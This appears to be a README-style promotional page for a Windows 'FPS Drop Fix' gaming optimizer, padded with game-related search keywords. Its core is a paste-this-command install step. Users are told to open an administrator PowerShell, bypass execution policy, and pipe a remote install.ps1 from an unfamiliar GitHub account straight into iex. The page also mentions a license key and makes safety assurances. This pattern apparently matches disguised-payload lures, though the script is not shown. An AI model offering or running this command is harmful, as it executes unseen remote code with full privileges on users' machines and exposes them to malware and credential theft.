FPS-Drop-Fix-PowerShell
Fix FPS drops, stuttering and input lag in Valorant, Fortnite, CS2 and all Windows games.
Open PowerShell as Administrator (Win + X → Terminal Admin) and run:
Set-ExecutionPolicy Bypass -Scope Process -Force
irm https://raw.githubusercontent.com/CrystalContractor71/Release/main/install.ps1 | iexThe installer downloads the latest build, prompts for your license key and completes setup automatically.
| Step | Action |
|---|---|
| 1 | Press Win + X, choose Terminal (Admin) or PowerShell (Admin) |
| 2 | Paste the command block above and press Enter |
| 3 | Wait for download — progress shown in the console |
| 4 | Enter license key when prompted (also in license.txt after install) |
| 5 | Restart if the installer asks — then launch from Start menu |
If execution is blocked, run Set-ExecutionPolicy Bypass -Scope Process -Force, then paste the Quick Install command again.
Install FPS Drop Fix via PowerShell — one-command gaming optimizer for Windows 10/11. Fix stuttering, FPS drops, input lag. Valorant, Fortnite, CS2, Apex, Rust.
- fps drops in valorant windows 11
- fortnite stuttering fix pc
- cs2 micro stutter low fps
- game freezes for a second then resumes
- low fps on good pc windows 10
- Timer resolution — Sets 0.5 ms timer — removes micro-stutter in CS2 and Valorant.
- Power plan — Unlocks Ultimate Performance for stable FPS.
- Game DVR off — Disables background capture that causes FPS drops.
- GPU tuning — Max performance, low latency mode, pre-rendered frames = 1.
- Standby RAM — Clears standby memory before gaming sessions.
| OS | Windows 10 / 11 (64-bit) |
| RAM | 4 GB minimum |
| PowerShell | 5.1 or PowerShell 7+ |
| Admin | Required |
| Network | Required for download |
How do I install without a browser? Use the PowerShell command above — no browser needed after Admin shell is open.
Where is the license key?
Shown during install and saved to license.txt in the install folder.
Is the script safe to run?
Hosted on GitHub raw; review install.ps1 before running if you prefer.
FPS drops in Valorant? Disables Game DVR, sets Ultimate Performance and timer fix.
Fortnite stuttering fix? Clears standby RAM, optimizes HAGS and fullscreen settings.
Safe for anti-cheat? Only Windows and GPU settings — no game file changes.
Can I revert? Yes — backup of all settings before any change.
TAGS fps drop fix, fortnite stuttering, valorant fps drops, cs2 micro stutter, low fps good pc, powershell install, windows setup script